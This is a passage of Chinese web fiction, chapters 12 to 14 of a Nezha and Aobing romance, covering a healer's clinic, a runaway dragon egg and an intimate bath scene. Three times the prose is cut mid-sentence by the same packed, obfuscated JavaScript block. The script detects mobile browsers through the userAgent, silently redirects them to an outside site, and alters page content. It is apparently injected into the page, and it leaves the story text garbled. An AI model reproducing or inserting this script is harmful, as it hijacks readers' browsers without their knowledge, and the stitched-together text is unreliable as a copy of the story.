“东、东街药王堂。” 12. 童子 敖丙昏沉沉醒来,第一个念头就是去瞧自己掌心。 他依稀记得咬了哪吒,摊开五指,几片皱巴巴的金红莲瓣蜷在掌纹间,色如霞染,剔透似琉璃。 血。 他得到了哪吒的血。 敖丙看着几片花瓣,鼻尖一酸,五百年来想取的东西这么阴差阳错地得到了。他将花瓣贴肉藏在掌心,听见身侧有人道: “你在做什么?” 敖丙倏尔抬眸,撞进一双墨瞳里。 少年坐在小杌子上,膝头垫着块素布,布上搁了只粗陶药碗,碗中墨汁似的汤药还冒着热气。他一手执木勺在碗中搅动,薄唇凑近勺沿,轻轻吹着气。 白雾散开,拂过他低垂的长睫。 敖丙将手缩回被下,才发觉周遭景象十分陌生。一间狭窄的屋舍,土墙木梁,满室苦辛草药气。 而哪吒仍是赤红劲装,发髻上金莲小饰亮晃晃的——赤狐裘却不见了。 敖丙低头,发现自己肩上裹着那袭狐裘,风毛簇拥着胸腹,暖融融。 哪吒舀起一勺药汁,在唇侧试了温度,递至龙族嘴边:“喝了。” 动作自然得仿佛做过千百遍。 “你……”敖丙喉间如刀割,声音嘶哑得不成调,“怎会在此处?” 哪吒将勺子又往前送了送,抵开干裂的唇瓣。 敖丙下意识含了,苦涩药汁灌入口中,激得他眉心紧蹙,险些呕出来。他悄悄打量着哪吒,这人分明看见了他手里攥着的莲瓣,为何如此平静? “你高烧昏厥,我不带你来医馆,莫非由你烧成条烤龙?”哪吒又舀一勺,吹凉递过来,“莫乱动,好生喝药。” 敖丙环顾四周,确实是个医馆模样。 小屋以竹帘隔断,外头隐约可见高耸的药柜,千百个小抽屉列阵也似。自己躺着的是副简陋担架,铺了层厚褥。身上除去狐裘还搭着件蓑衣,想必是防药汁溅污。 “龙蛋呢?”他忽问。 哪吒手中的匙顿了下,总不能说粉团团被他用帐幔系在客栈房梁荡秋千罢? 他面上八风不动:“一来雪天寒重,二来凡人地界恐生事端。我暂将他安置在客栈了……待你好些便去接。” “不可!”敖丙急得撑起身,呛咳了几声,“他还那么小,你怎能将他独自留在那里?” 哪吒暗啧一声,心道那丑东西精神得很,还会偷袭人:“是我的疏忽。” 敖丙瞧出他的搪塞,正要再争,却被打断了。 “哎哟哟,药都要凉了!” 来人一身葛布袍子补丁叠补丁,满头白发炸如蓬草。他趿着双破草鞋,三两步凑到担架前。 “今晨这毛小子背你来,你牙关紧咬,药汁灌不进。他就让老朽一锅接一锅地煎,煎好了自己试温,一勺勺喂。喂不进的,那可是全洒了。” 说着,老者捶胸顿足,痛心疾首:“三两重人参、百年首乌、火灵芝……老朽攒了半辈子的珍稀药材,今日可算全交待在这儿了!” 敖丙顺他所说看去,地上遍布着大片黑渍,层层叠叠,好似泼墨山水。蓑衣浸透了药汁,沉甸甸皱成一团。 “他……”敖丙喉头发紧,“煮了几锅?” “整整七锅!”老者竖起手指,“老朽说‘罢了,听天由命吧’,他偏不理,非要试到第八锅——喏,就是你手里这碗。” 哪吒垂眸搅药,硬声道:“啰嗦什么?诊金加倍便是。” “加倍?你当老朽是那等趁火打劫的?”老者瞪眼,又长叹一声,“罢了罢了,看在这小友生得标致,病中也怪可怜见的份上……” 语毕,他哼着不成调的曲儿掀起帘子,踱回药柜后去了。 哪吒又舀起一勺药,吹凉,递来。 这次敖丙配合地张开了嘴,他神智渐清,比先前乖顺许多。 起初敖丙还想自己接过药碗,可哪吒黑眸亮晶晶,唇角抿着点儿不易察觉的笑,仿佛在做什么极有趣的事。 敖丙歇了心思。 罢了,自己头晕得厉害,而且这人照顾了一天,何必扫他的兴? 总归欠下这许多人情,也不差这一桩。 只是如此近,终究是不自在。 瓷勺递到唇边,敖丙无意识看向哪吒执勺的手。虎口处留着排浅浅牙印,是他失去理智之时咬的。 然而,这般动作落在哪吒眼中,莫名生出些说不清道不明的意味。 唇瓣被药汁熨得嫣润,泛起桃花似的粉。敖丙垂着雪睫不敢看他,只紧张地抿嘴吞咽。瓷勺压过嫣红舌尖,水泽漾动,无端生出几分旖旎。 哪吒忙收敛心神,一勺勺喂得仔细。 末了,哪吒变戏法似的从袖中摸出颗陈皮糖,趁敖丙不备塞进他口中。 “唔……”酸甘滋味化开,敖丙舌尖一顶,糖球滚到了左腮,鼓起一个小小的包。 “解解苦。”少年笑着说。 “好了小子!药喂完了,该履行约定了!”屋外响起老者的嚷声。 敖丙含着糖问:“什么约?” 老者掀帘探进半个身子,嘿嘿一笑,“近日镇中不太平,老朽需些童子血。屋里就仨人:我老棺材瓤子一个,这位小友瞧着也非童身,自然得劳烦红衣小子了。” 敖丙一怔,下意识望向身旁人。 向来张扬恣意的少年别开了脸,耳根泛起可疑的薄红,含混道:“知、知道了。” 敖丙:“……” 他默默将糖块顶到另一边腮帮子。 童子? 这人与他翻云覆雨不知多少回,连龙蛋都弄出来了。如今失个忆,真当自己是清白身了? 哪吒却有他的道理。 自云楼宫苏醒至今,无人来寻过他这个“故人”。若有旧情,怎会不来探看?哪怕是来看笑话也该来了。再加上军中同袍、天庭仙僚,没有一人提过他有什么风流债。 如此想来,自己必是守身如玉的好儿郎,这贞洁可是他将来下聘时最好的底气。 敖丙见他理直气壮的模样,踌躇半晌,颇为担心误了正事:若老者取了哪吒的血,莲瓣必露端倪。 可如何说破?直言“我与他早有过云雨”?还是说“此人已一千两百岁”? 他咬了咬下唇,朝哪吒勾勾手指。 哪吒正与老者对峙,见状愣了愣,真乖乖凑过来。 敖丙摊开掌心,露出几片蔫皱的莲瓣:“这是我方才醒来,在褥边拾得的。从未见过这等物什,一时好奇就——” 他故意没有说尽,留了三分余地。 哪吒盯着那几片莲瓣,恍然道:“这是我的……” 话音戛然而止。 哪吒蓦然醒悟,是了,自己乃莲花化身,血凝为瓣。若真取血给他人,只怕要露了仙家根脚。禁仙咒虽然改换掉容貌气度,可骨子里的异象是掩不住的。 而且童子指二十岁内未成婚的男子,自己样貌化作了少年,实则已逾千岁,哪里还算得上童子? 思及此,他忽得起身。 “我知晓了。”哪吒替敖丙掖好被角,又将狐裘往上拉了拉,“你且歇着,我去寻个外援来。” 说着他转身就走,衣袖却被龙拽住了。 哪吒回头,见敖丙仰着脸看他,病中眸子水润润的:“小心些。” 哪吒点点头,掀帘出去了。 敖丙蜷回担架床,将狐裘裹紧些。他望着晃动的门帘,心想冰天雪地,哪吒能寻什么外援? 另一边,老者蹲下身收拾满地狼藉,嘴里絮絮叨叨:“小毛孩性子倒急。不过这股执拗劲儿,倒让老朽想起年轻时候……” …… 哪吒出了医馆,并不去寻什么“外援”,反而拐进巷角僻静处,从豹皮囊中摸出枚传讯玉佩来。 他心下纷乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117036|195932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如麻,什么童子血皆是次要,要紧的是自己的童子之身究竟还在不在? 修道之人,元阳至为紧要。他自云楼宫苏醒至今,从未觉出身子有异,素日修行顺畅、法力精纯——料想元阳未损才是。且以他心性最是厌烦儿女情长,怎会轻易与人…… 另一边,雷震子、杨戬、黄天化三人围坐吃茶。 壶里沏的是昆仑雪芽,水汽袅袅。 只是这茶吃得并不惬意,黄天化自坐下就没住口,字字句句皆绕着敖丙打转。 “当年若非那妖龙作梗,我何至于早早上了封神榜?好好的肉身成圣机缘断送在他手里。如今倒好,千年过去了他又来缠着哪吒!” 黄天化自封神战后便疏远旧友,一则因神职所限,二则实是见不得哪吒和敖丙那段荒唐过往。如今听闻两人又凑作一处,新仇旧怨翻涌上来,话就说得尖刻。 雷震子捧着茶盏,大气不敢出。杨戬阖目养神,抚摸着哮天犬油光水亮的背脊,连眉毛都未动一根。 几息后,雷震子腰间玉佩振动起来。 “喂?哪吒?”他如蒙大赦,忙接通传音。然而听了两句,他脸色倏地古怪起来,“什、什么?你是不是……童子?” 雷震子险些摔了茶盏,他瞪大金瞳,拼命给杨戬使眼色。 在座三人都是元阳未泄的修行人,偏这唯一不是的倒来问了! 杨戬老神在在地饮茶。 雷震子急得抓耳挠腮,身边的黄天化突然轻笑一声,扬声道:“哪吒,你自然不是。” 雷震子眼前一黑,恨不得扑上去捂住那厮的嘴。这位炳灵公素来和敖丙不睦,现在插话怕是存心搅局。 他思来想去没办法,只得朝黄天化使眼色,指望对方编个圆全幌子。谁知黄天化说完后闭口不言,盯着炉中炭火出神,一副事不关己的模样。 那头哪吒显然愣了,沉默片刻,才问:“我与谁有过牵连?” “你和…这个……”雷震子支支吾吾,汗都下来了。 “琼姬仙子。”杨戬淡淡接话,手中火钳不紧不慢地翻着炭块,“你二人曾有一段渊源。具体如何,我等也不甚清楚。” 琼姬仙子? 哪吒依稀听过这名字,是西王母座下一位女仙,素以清冷孤高闻名。 自己居然和她有过情缘? 可心中为何毫无波澜?甚至隐隐觉得,不该是这个人。 那该是谁? “哪吒?”杨戬的声音将他拽回,“你可是遇着事了?” 哪吒不肯露怯,不服输的劲儿又窜上来:“你们三个……都是童子?” “那当然。”雷震子挺胸,“我们三个兢兢业业修道,从不行荒唐事!” “还真是恭喜你们了。”哪吒笑声更冷,夹杂说不清的讥诮,“千年来守身如玉,三位真乃天庭楷模。” “咔哒。” 通讯断了。 雷震子捏着玉佩:“杨戬,你说哪吒是不是遇着难处了?不然怎会突然问起童子血……咱们要不要下界帮——” 杨戬撂下火钳,眼皮都不抬:“你若有闲,不如直接替他做了那监察官的差事。整日管东管西,倒像个碎嘴婆子。” “你这嘴才是……”雷震子气结,转而望向黄天化,却见这位炳灵公已神游天外。 - 巷角风雪愈狂。 哪吒将玉佩塞回豹皮囊,满腔心绪不宁。他素来修行清正,又知元阳未泄于修为大有裨益,怎会…怎会不是童子身? 琼姬。 他默念这两字,想起的却是龙君掌心的莲瓣—— 咬出了的、他的血。 “啧。” 哪吒甩甩头,重新踏入医馆。帘内,敖丙窝在担架床上,听见动静望来。 两人对视,哪吒忽然觉得有些答案或许不必问旁人…… 该问自己的心。 13. 翠屏 哪吒前脚刚走,那蓬头老者就挪到了敖丙榻前,神神秘秘道:“小友,你可得好生谢我。” 敖丙强撑着坐直,规规矩矩行了个半礼:“老先生何出此言?” 老者敛了嬉笑神色:“你身子亏空得厉害,脉象虚浮,乃是早衰之相。老朽行医一甲子,这般脉象的多半……时日无多。” “方才红衣小子在,老朽不敢明言。若教他知道,只怕要掀了医馆房顶。” 敖丙攥紧被褥,面上却不动声色。 “还有,你那腕子新旧伤痕叠着,少说也有百十道。”他往敖丙左袖瞟去,语重心长地劝道,“年纪轻轻的,可是有什么想不开?” “并非自戕……”敖丙垂眸,“恕我不能多言。” “唉。”老者背着手,在屋内踱了两步,“你们这些年轻人心思九曲十八弯,活得忒累。” 敖丙暗自苦笑。 怪不得哪吒总和这老儿拌嘴,这般追根究底当真冒昧。不过,对方在禁仙咒的遮掩下窥破许多,想来绝非寻常郎中。 他思量着如何周旋。 “哗啦——” 哪吒拉开了门帘,他发梢、肩头沾着雪沫,面色比外头的天还沉,像是遇着了什么棘手事。 “小子!”老者抢先发难,“老朽要的童子血呢?” “尚未取得。”哪吒解下湿漉漉的外袍,随手搭在柜子上。 “未取得你回来作甚?”老者叉腰,“莫不是那外援不肯帮你?老朽早说了,世人行事总逃不过一个‘利’字……” 哪吒不接他话茬,径自走到炭盆旁烘手。 他确实烦心,自己所识皆是仙神之流,哪来的凡人童子—— 当真是捧着金碗讨饭。 眼见着天色渐暗,敖丙心中记挂龙蛋:“哪吒,不若我们先回客栈?” “呔,小破孩!” 老者忽然拔高了嗓门,跳将起来:“你叫什么名字?” 哪吒被他吼得蹙眉:“我行不更名坐不改姓,李哪吒。” “你、你……”老者气得浑身发抖,一张脸涨红如猪肝,眼看要背过气去。 敖丙忙劝说:“老先生莫急,且坐下慢慢说。” 他示意哪吒扶老者坐下。 老者跌坐榻沿,抚胸喘息良久,方哑声道:“老朽姓李名仲,家中世代供奉一尊金身神像,正是三坛海会大神哪吒太子。” 解释完缘由,他又指着哪吒鼻尖:“你这娃娃取什么名不好,偏要犯神灵名讳!不怕压不住福分,早早归了西么?” “……” 哪吒气极反笑。 本尊在此,却被个供奉自己的凡夫指着鼻子骂僭越,真真滑天下之大稽! 若他亮明身份,这老头怕不是要当场厥过去。 哪吒欲开口,手忽被轻轻扯住。他低头,看见敖丙将手塞进了他的掌心。龙君的手生得极好,指节纤长,似上等的羊脂膏子。 敖丙摇首示意,凤眸中含着恳切。 哪吒心头无名火因这一扯、一摇头,奇异地消了大半。他悻悻站在原地,任那老者数落。 “罢了。”片刻后,哪吒噙起笑,“您老说得是,晚辈受教了。” 李仲见他服软,气顺了些,又转向敖丙:“小友,你既与他同行,也该劝劝。正神名字岂是乱叫的?老朽家中那尊神像,每逢初一十五皆要焚香沐浴,叩拜上供……” 他说着供奉哪吒的种种规矩,哪知正主就在眼前,此刻听得额角青筋直跳。 这厢敖丙听着听着,觉出几分蹊跷。 李仲说了这么多,所言皆是自家如何虔诚、金身多么宝相庄严,却绝口不提乡邻。三坛海会大神威名赫赫,若此地真有庙宇供奉,当是阖镇共祀才是,怎会仅此一家? 他斟酌开口:“敢问老先生,此镇唤作何名?风土人情又如何?” 李仲闻言,花白眉毛一耸:“你们两个外来的后生,当真不晓事。咱们这儿啊,叫作‘翠屏乡’。早年间地势高峻,有座‘翠屏山’巍然屹立,云遮雾绕,端的是一处灵秀所在。” “只是沧海桑田,几百年来地动水移,那山渐渐平了,成了如今的坦荡模样。” 敖丙心中涌起惊涛。 翠屏山,这名字他太熟了。 千年前哪吒剔骨还父、削肉还母,一缕魂魄飘荡天地。后来殷夫人哀痛难抑,在此山为爱子立了行宫,受人间香火三载,得以再临世间,辅佐周室。 那时节,哪吒庙千请千灵、万请万应,四方信众如云聚散,香火日夜不绝。 这里怎会是翠屏山旧址? 敖丙转头看向哪吒,那人把玩着他的手,从掌心摩挲至指尖,又捏了捏骨节,神情专注,显然未将李仲的话听进耳里。 果真……什么都不记得了。 敖丙心头涌起难言的涩意,当年翠屏山香火鼎盛,他尚在东海深宫,曾听侍仆提及“陈塘关四十里外有神明显圣,救苦救难”。 彼时他只当闲话,未料千年后,自己与“神明”同立旧地,而对方将前尘尽忘。 不过,翠屏山距陈塘关不过四十里,亦近东海,本该是海风湿润、草木葱茏之地,怎会落这般大的雪? 他身为龙族,对水息最是敏感,却察觉不到半分海气。 敖丙百思不得其解,听李仲又道:“咱们这儿的人啊,不信那些虚头巴脑的神佛。张员外领着大伙儿垦田经商,日子过得红火,谁还去庙里磕头……只我家不同。” 哪吒终于抬眼:“那你家为何独奉此神?” “大神曾救过我家先祖!”李仲挺直佝偻的背脊,目露追忆,“那年山中有条黑鳞大蟒作乱,身长十丈,口吐毒雾,吞噬人畜无数。我太太太爷爷上山砍柴撞见,险些葬身蛇腹。” “千钧一发之际,是大神脚踏风火轮自天而降,只一枪就戳穿了那妖物七寸!” 老者说到激动处,双手合十,朝虚空一拜:“若非大神相救,哪有我李家今日?为报恩德,祖上遂发愿世代供奉,举族改姓‘李’,以感神恩。” 哪吒怔了怔。 改姓?世人最重姓氏宗脉,竟然有人愿为他这陌路神明改易根本…… “你们原姓什么?” “史。” “……”哪吒沉默一瞬,诚恳道,“那还是改了好。” - 辞了医馆,二人踏雪返回客栈。 哪吒有些心神不宁。 离栈前,他因嫌龙蛋碍事,随手将它悬在房梁帐幔上,若教敖丙瞧见…… 他偷眼看向身侧人,敖丙望着前方蜿蜒的灯笼河,似在思量什么。 “敖丙。”哪吒忽然开口。 “嗯?” “那蛋…你儿子,”他顿了下,“我将他安置得妥当,你不必忧心。” 敖丙闻言看向他,凤眸在雪光里清泠泠的:“如何安置的?” “总之……极安全。”哪吒含糊其辞,加快脚步。 是福是祸,他终要面对。 只愿这龙君莫要气得现了原形才好。 哪吒惴惴间,袖口忽得一紧。 他看去,发现敖丙攥住了自己的外裳。龙君眉眼弯起来,在雪光里好似画中人:“你方才……为何任老先生数落?” “本帅宽宏大量,不与他计较。” “是么。”敖丙声音更低,“我还以为……你是怕我为难。” 哪吒没有回答,反手将对方的手完全包进掌心。 温软滑腻,似块上好的玉。 若这手肯一直让他牵着,便让老头再骂十回、百回,似乎……也无不可。 而敖丙任他握着,看向远处苍茫的雪野。 翠屏山。 哪吒行宫。 千年前香火鼎盛处,如今却成了不信神的俗世乡里。 身畔的少年浑然不觉,只专注地握着敖丙的手,一步步踩在雪地上。 脚印深深,并作一行。 - 两人踏进菲来客栈,大堂内炭火正旺。伙计忙不迭迎上来:“二位客官可算回了!今早小的去收拾屋子,见里头狼藉一片,怕是遭了贼——” 哪吒面色骤变:“你动了房里的东西?那…那孩子呢?” “孩、孩子?”伙计茫然,“什么孩子?小的只见满地碎布乱帐,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117037|195932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾见什么婴孩啊。” “糟了!”敖丙心头一沉,顾不得许多,撩起衣摆就往楼上奔去。 上房内窗明几净。 推门入室,但见屋内已经收拾齐整,床褥铺得平整,桌椅擦得一尘不染,连炭盆灰烬都倒了。可放眼望去,唯独不见那团鹅黄襁褓和蕴灵贝的踪影。 敖丙浑身血液都冻住了。 “砰!” 哪吒反手合上门,将探头探脑的伙计关在外头。他难得露出几分心虚,凑近低声道:“可、可寻着了?” 敖丙倏然回身,扬手朝那张脸掴去。 掌风凌厉,眼看要落在哪吒脸上,却被少年攥住了腕子。哪吒对上那双泛红的凤眸,心尖忽地一颤,他松开钳制,牵着那只手往自己脸上贴。 “我不躲……你打罢。” 敖丙掌心贴着少年温热的面皮,那张脸美丰姿骨格俊,莲出淤泥不染尘,在这俗世客栈里显得格格不入。 不打。 不是舍不得。 是打了也无用。 敖丙望着他,指尖蜷了蜷,终是颓然收回了手,继续去翻找。 榻上、箱笼、柜隙……每一处都空空如也。 敖丙跪坐在地,肩头微微颤抖。 他以精血喂养这么多年,日夜不敢离身,那蛋早已成了他半条性命。若真丢了—— “咕噜、咕噜。” 有什么圆润物事在滚动。 黑咕隆咚的床底下,一颗粉团团物事费力拱着。龙蛋沾满了灰絮,滚得花花斑斑,用圆润的蛋身费力地推着两样物事:一件是皱巴巴的鹅黄绒毯,另一件是缩至巴掌大小的蕴灵贝。 终于,粉团子连带着襁褓、贝壳,一齐滚到了光亮处。 他是自己藏进床底的。 敖丙怔怔望着这一幕,雪色长睫颤了下,泪珠毫无预兆地滚落。 五百年来,这颗蛋饮他精血,由黯淡至鲜亮,由拳头大小长至如今这般,壳上渐生水纹,会发光,会发热…… 可他从来不会动。 可现在他动了,还知藏匿、知躲避,知在危险过后自行现身。 是因为见了哪吒么? 因为生父的血脉近在咫尺,所以有了本能回应。 “咚、咚。” 粉蛋似察觉到爹爹的目光,欢快地滚了两圈,又在原地蹦了蹦。 敖丙踉跄扑去,将那颗脏兮兮的龙蛋紧紧拥入怀中。蛋壳沾的灰蹭了他满襟,他却浑不在意,只把脸贴上粉壳。 龙蛋极开心似的,在怀中不停拱动,光华亮起来,几乎要透出壳来。 “你、你会动了…”敖丙笑出声,泪却流得更急,珠子似的往下掉,“爹爹的乖孩子……” 哪吒默然看着这一幕。 他不明白。 不明白为何有人能将一颗蛋爱得这般深。 纵是亲子,也不过血脉延续罢了。他失却所有的记忆,亲情于他早如隔雾看花。 如今与家人看似和睦,可心底却空落落的,像缺了一块的玉璧,再怎么修补,终非完器。可现在见敖丙又哭又笑地抱着龙蛋,他胸口钝钝地疼起来。 怀中的粉蛋忽然动了动,朝哪吒方向滚了半寸。 敖丙会意,果然是血脉相连,才见几面,便念着生父了。 他拭去泪水:“元帅,可以抱抱他么?” “此事原是我的错,亏欠你在先。你莫要这般……”哪吒伸出手,小心翼翼接过那颗粉蛋。入手沉甸甸的,蛋壳上的水波粼粼。 哪吒瞧了瞧,正想夸句“其实也没那么丑”…… “咚——!!!” 下一秒粉蛋腾起,狠狠撞在了哪吒的鼻梁上。 “唔!”哪吒闷哼,眼前金星乱冒。 “元帅!”敖丙慌忙抱回龙蛋,急声道,“可伤着了?疼不疼?” “无事……”哪吒摆手,面上缓缓淌下两行红。血珠淅沥而落,化作了赤金的莲瓣,飘飘摇摇散了一地。 哪吒磨了磨后槽牙,瞪着那颗在龙君怀中撒娇卖乖的粉蛋,心中忿忿。 这小崽子真记仇。 力气还忒大。 14. 池水 哪吒领着敖丙回了新置的院子。 两进小宅青砖砌墙,黛瓦覆顶。几株老树的虬枝横斜,被积雪压得枝头弯弯。 敖丙抱着龙蛋默默随在后头,他看哪吒鼻梁上那块红痕未消,怀中罪魁祸首却睡得香甜,不由得生出几分赧然。 “你住这间。”哪吒推开东厢的门,“朝阳,冬日里少些寒气。” 敖丙应了声,又低低道:“你的脸……” “不妨事。”哪吒转过脑袋,逃也似的匆匆离开了,“我自会上药。” 敖丙望了他背影片刻,方转身合门。他行至窗下,从袖中取出几片金红色莲瓣。 那人怎会不问? 不问莲瓣从何而来,不问他为什么啮其手,不问一路种种蹊跷。 也罢,这些都不紧要。 敖丙捧出龙蛋,将金红的莲置于蛋壳上,花瓣化作赤金光华没入壳中。粉蛋中渐渐可见蜷缩的幼龙轮廓,正吸收着来自生父的血脉。 敖丙呼吸窒涩,视线模糊一片。 成了。 真的成了。 不必他日夜以精血喂养,龙蛋的生机终于能靠另一人维系了。 可随之涌上的不是欣喜,而是铺天盖地的虚脱,一直紧绷的弦断裂,他连站立的气力都被抽空。 敖丙瘫在地上,将脸埋进掌心。 ……若龙蛋不再需要他喂养,那这副日渐衰朽的躯壳还有什么存在的必要? - 另一头,哪吒正折腾院中那方浴池。 前主人设计得巧妙,引了远处的活泉,经地底石脉愈加温热,潺潺注入池中。 哪吒忙活整日,身上又是药气又是尘灰,此刻见这汤池可喜,便除了衣衫入水。 泉水漫过肩颈,他舒泰得闭目喟叹,连鼻梁那点撞伤都不觉得疼了。 “吱呀。” 门开了。 哪吒警觉地睁眼,透过飘渺雾气,看见一道身影站在门边。 是敖丙。 他只穿了中衣,下身没有着亵裤,赤足踩在青石地上。两条腿笔直修长,踝骨玲珑,趾尖因冷而发着红。 哪吒僵在池中。 敖丙慢吞吞地合上门,落了栓。 水汽迷蒙,将他身形晕染得似真似幻,像深海里浮出的精魅。 “敖丙?你…也要沐浴?怎不先同我说?”哪吒试图移开视线,可那抹白影在水雾里晃着,月下昙花般抓不住眼,“穿得太单薄了,先回去罢,我即刻出来让与你……” 话未毕,敖丙踏入池中。 “不是沐浴,我是来找你的。” 龙君一步步涉水走近,水没过腰际,洇湿的衣料贴着肌肤,透出淡青血管和苍白的骨。 哪吒简直想跃池而逃,却赤条条无处可藏。他咬牙立在原处,盼着满室白雾能掩住几分窘迫。 一只手搭上了他的小臂。 冰凉、柔软,指甲上月牙弯弯,若有似无地划过他的肌肤。 哪吒浑身血液都往头上涌。 鼻梁被撞伤处隐隐作痛,似乎又有热流欲涌。他慌忙仰头,却对上敖丙近在咫尺的脸。 “敖丙。”哪吒唤他。 敖丙踮起脚尖,唇瓣碰了碰少年的下颌。触感很轻,携着海潮的气息,在哪吒心底炸开一片惊澜。 “不可。”哪吒忙不迭将龙推开寸许,“此等亲密……于礼不合。” 敖丙被他推得向后仰,湿发贴颊,眸中漾起困惑:“为何不合?” 哪吒深吸一口气,水汽呛入肺腑,让他声音有些发哑:“你我未曾三媒六聘,拜堂成亲,岂可行此亲密之事?” 成亲。 敖丙混沌的脑中清明一瞬,他望着眼前少年认真的眉眼,忽然想笑。 千年前共赴巫山时,这人可从未提过“成亲”。那时节,少年将军把他压在营帐毡毯上,哪管什么礼法规矩? 他知哪吒记忆尽失,只得咽下喉间涩意,转了话锋:“早闻三太子性情恣肆,桀骜不羁,最是厌烦条条框框。怎的如今……反倒看重起这些虚礼来了?” “道听途说罢了。”哪吒望进他眼底,神色端肃得似在参详兵法,“要想识得我真性情,敖丙,你得用眼看,用心瞧。” 那双眼太亮、太澄澈,像把整池水光都装了进去。 敖丙失去了质问的力气,心头软得发疼。 是了。 眼前这人顶着同一张脸,内里却是一片空白的、崭新的魂灵。 他沉默得太久,哪吒以为他态度松动,忙趁势说:“你高热方退,身子正虚,莫要这般胡闹。待你痊愈我们……再从长计议。” “我没有胡闹。”敖丙湿漉漉的臂膀勾住他后颈,两人本就贴近,这一下几乎鼻息相闻,“今日之事做与不做?若此番不做,往后……你便再莫想这些了。” 哪吒愣在原地。 他不明白,真的不明白。 明明先前敖丙待他疏离冷淡,比寻常同僚还不如,为何现在却…… 那只手柔若无骨,掌心贴着他的胸膛,温度灼人。某种深植骨髓的本能在叫嚣着靠近,所以身体先于理智给出了答案。哪吒听见自己问: “敖丙,你心悦我么?” 敖丙注视着对方,银睫上挂着晶亮的水滴,许久,他点了点头。 那一瞬间,哪吒只觉漫天星子都落进心里。他唇角抑制不住地上扬,握住敖丙手腕:“你等等,我有东西给你!” 说着他取来搁在池边的豹皮囊,埋头翻找起来。珠露从他脊线淌过,在紧实肌理留下一道道曲折的痕。 敖丙茫然望着他,不知这人要做什么。 “找到了!”哪吒捧着个物件回转,献宝似的递到他面前。青铜所铸,形若伏虎,上镌“五营”两字,隐有兵戈煞气透出。 天庭调兵第一信物,五营虎符。 敖丙本因高烧体虚,池温又高,浴池水汽一蒸只觉得头昏目眩。此时他看见这虎符,更是想晕厥过去。 哪吒统帅的中坛三秦军,足足三千军马及三万兵员。东海龙族谨小慎微千年,若教天帝知晓此符在他手中,怕是顷刻就要落个“拥兵谋反”的罪名,连累哪吒一同…… “此物予你。”哪吒执起他手,将虎符郑重放入掌心,“敖丙,我定会娶你。” “不可!”敖丙指尖颤了颤,险些将那烫手山芋掷回水中,“此物太过贵重,小仙担当不起。” 哪吒见他面色苍白,似是真吓着了,只好将虎符收回。他又从囊中取出一枚白玉印章,雕工精细,印纽作莲苞状,底面篆刻“云楼宫”三字。 “这是我六重天居所的私印。”他把印章放在他手中,“平日批阅文书皆用此印,仙神见之如见我亲临。你拿着,往后莫教旁人欺了你。” 敖丙扶额。 这个比虎符又好到哪儿去?! 此物若被有心人利用,伪造文书、假传神令…… 怕是会连累整个云楼宫。 他思绪混乱着,又听哪吒补了一句:“不必惶恐。你既应了我,往后便是云楼宫另一位主人。” “元帅慎言!”敖丙慌忙推拒,“小仙位卑,岂敢执此重器招摇?徒惹祸端不说,更恐辱没了元帅威名。” 哪吒见他执意不收,又从豹皮囊里取出一枚玉佩。 玉佩通体幽紫,雕了无数盛放的金莲,背面单刻一个“李”字。 “此玉随我千年,上有我本命法术烙印。”哪吒为他系在颈间,紫玉贴着心口,“你若需相助,持它去寻我故交,他们自会相助。” 敖丙看着那枚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117038|195932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉佩,光华内蕴,不显不耀,虽然也贵重,却不比虎符兵权、官印威压——确实是最稳妥的信物。 “多谢元帅。”他轻声应下。 “不许叫元帅。”哪吒佯怒,捏了捏他脸颊,“唤我哪吒。” 雾气朦胧中,少年眉目鲜亮,鼻梁上那点红痕未消,却丝毫不损他的风采。 “好。”敖丙吃痛,忍不住笑了,“哪吒。” 千年风雪过,他终于又能唤一声“哪吒”。 不是元帅,不是三太子。 是哪吒。 只属于他的哪吒。 …… 雾锁烟笼。 哪吒将自己的衣物堆在池畔,然后赤着上身抱起敖丙,搁进软茸茸的衣堆。 池边摆着些瓶瓶罐罐,浣发的皂荚、润身的香膏、揉碎了的各色干花瓣…… 都是哪吒特意备下的。 他想着既然喜欢这人,就该倾尽所有待他好。凡人间那些呵护心爱之物的心思,哪吒从前不懂,现在却无师自通了。 敖丙坐在池沿,双腿自然垂入水中,衣摆浮散开来。水波轻漾,显现旖旎的风光。 哪吒看得怔了,不觉喃喃:“你这里…怎生这般……” “莫、莫要说这些混话!”敖丙整张脸烧得通红,从眼皮那枚小红痣一路蔓延至脖颈,连锁骨都泛起薄粉。 哪吒被他捂着嘴,眨了眨眼。 狭长的黑睫上凝结的水珠子滚落,沿着挺直鼻梁而坠,像一滴剔透的泪。 敖丙心头莫名软了,他松开手:“我们开始罢。” “开始什么?”哪吒不解。 